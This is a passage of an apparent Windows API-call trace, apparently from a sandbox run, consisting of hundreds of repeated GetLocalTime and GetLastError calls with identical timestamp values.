lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.890] GetLastError () returned 0x0 [0100.890] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.890] GetLastError () returned 0x0 [0100.890] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.890] GetLastError () returned 0x0 [0100.890] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.890] GetLastError () returned 0x0 [0100.890] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.890] GetLastError () returned 0x0 [0100.890] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.890] GetLastError () returned 0x0 [0100.890] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.890] GetLastError () returned 0x0 [0100.890] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.890] GetLastError () returned 0x0 [0100.890] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.890] GetLastError () returned 0x0 [0100.890] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.890] GetLastError () returned 0x0 [0100.890] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.890] GetLastError () returned 0x0 [0100.890] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.890] GetLastError () returned 0x0 [0100.890] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.890] GetLastError () returned 0x0 [0100.890] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.891] GetLastError () returned 0x0 [0100.891] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.891] GetLastError () returned 0x0 [0100.891] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.891] GetLastError () returned 0x0 [0100.891] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.891] GetLastError () returned 0x0 [0100.891] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.891] GetLastError () returned 0x0 [0100.891] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.891] GetLastError () returned 0x0 [0100.891] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.891] GetLastError () returned 0x0 [0100.891] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.891] GetLastError () returned 0x0 [0100.891] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.891] GetLastError () returned 0x0 [0100.891] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.891] GetLastError () returned 0x0 [0100.891] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.891] GetLastError () returned 0x0 [0100.891] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.891] GetLastError () returned 0x0 [0100.891] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.891] GetLastError () returned 0x0 [0100.891] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.891] GetLastError () returned 0x0 [0100.891] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.891] GetLastError () returned 0x0 [0100.891] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.891] GetLastError () returned 0x0 [0100.891] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.891] GetLastError () returned 0x0 [0100.891] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.891] GetLastError () returned 0x0 [0100.891] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.891] GetLastError () returned 0x0 [0100.891] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.891] GetLastError () returned 0x0 [0100.892] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.892] GetLastError () returned 0x0 [0100.892] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.892] GetLastError () returned 0x0 [0100.892] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.892] GetLastError () returned 0x0 [0100.892] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.892] GetLastError () returned 0x0 [0100.892] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.892] GetLastError () returned 0x0 [0100.892] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.892] GetLastError () returned 0x0 [0100.892] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.892] GetLastError () returned 0x0 [0100.892] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.892] GetLastError () returned 0x0 [0100.892] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.892] GetLastError () returned 0x0 [0100.892] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.892] GetLastError () returned 0x0 [0100.892] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.892] GetLastError () returned 0x0 [0100.892] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.892] GetLastError () returned 0x0 [0100.892] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.892] GetLastError () returned 0x0 [0100.892] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.892] GetLastError () returned 0x0 [0100.892] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.892] GetLastError () returned 0x0 [0100.892] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.892] GetLastError () returned 0x0 [0100.892] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.892] GetLastError () returned 0x0 [0100.892] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.892] GetLastError () returned 0x0 [0100.892] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.892] GetLastError () returned 0x0 [0100.892] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.893] GetLastError () returned 0x0 [0100.893] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.893] GetLastError () returned 0x0 [0100.893] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.893] GetLastError () returned 0x0 [0100.893] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.893] GetLastError () returned 0x0 [0100.893] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.893] GetLastError () returned 0x0 [0100.893] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.893] GetLastError () returned 0x0 [0100.893] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.893] GetLastError () returned 0x0 [0100.893] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.893] GetLastError () returned 0x0 [0100.893] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.893] GetLastError () returned 0x0 [0100.893] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.893] GetLastError () returned 0x0 [0100.893] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.893] GetLastError () returned 0x0 [0100.893] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.893] GetLastError () returned 0x0 [0100.893] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.893] GetLastError () returned 0x0 [0100.893] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.893] GetLastError () returned 0x0 [0100.893] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.893] GetLastError () returned 0x0 [0100.893] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.893] GetLastError () returned 0x0 [0100.893] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.893] GetLastError () returned 0x0 [0100.893] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.893] GetLastError () returned 0x0 [0100.893] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.893] GetLastError () returned 0x0 [0100.893] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.893] GetLastError () returned 0x0 [0100.894] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.894] GetLastError () returned 0x0 [0100.894] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.894] GetLastError () returned 0x0 [0100.894] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.894] GetLastError () returned 0x0 [0100.894] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.894] GetLastError () returned 0x0 [0100.894] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.894] GetLastError () returned 0x0 [0100.894] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.894] GetLastError () returned 0x0 [0100.894] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.894] GetLastError () returned 0x0 [0100.894] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.894] GetLastError () returned 0x0 [0100.894] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.894] GetLastError () returned 0x0 [0100.894] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.894] GetLastError () returned 0x0 [0100.894] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.894] GetLastError () returned 0x0 [0100.894] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.894] GetLastError () returned 0x0 [0100.894] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.894] GetLastError () returned 0x0 [0100.894] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.894] GetLastError () returned 0x0 [0100.894] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.894] GetLastError () returned 0x0 [0100.894] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.894] GetLastError () returned 0x0 [0100.894] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.894] GetLastError () returned 0x0 [0100.894] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.894] GetLastError () returned 0x0 [0100.894] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.894] GetLastError () returned 0x0 [0100.894] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.895] GetLastError () returned 0x0 [0100.895] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.895] GetLastError () returned 0x0 [0100.895] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.895] GetLastError () returned 0x0 [0100.895] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.895] GetLastError () returned 0x0 [0100.895] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.895] GetLastError () returned 0x0 [0100.895] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.895] GetLastError () returned 0x0 [0100.895] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.895] GetLastError () returned 0x0 [0100.895] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.895] GetLastError () returned 0x0 [0100.895] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) [0100.895] GetLastError () returned 0x0 [0100.895] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x31, wSecond=0x5, wMilliseconds=0x22a)) 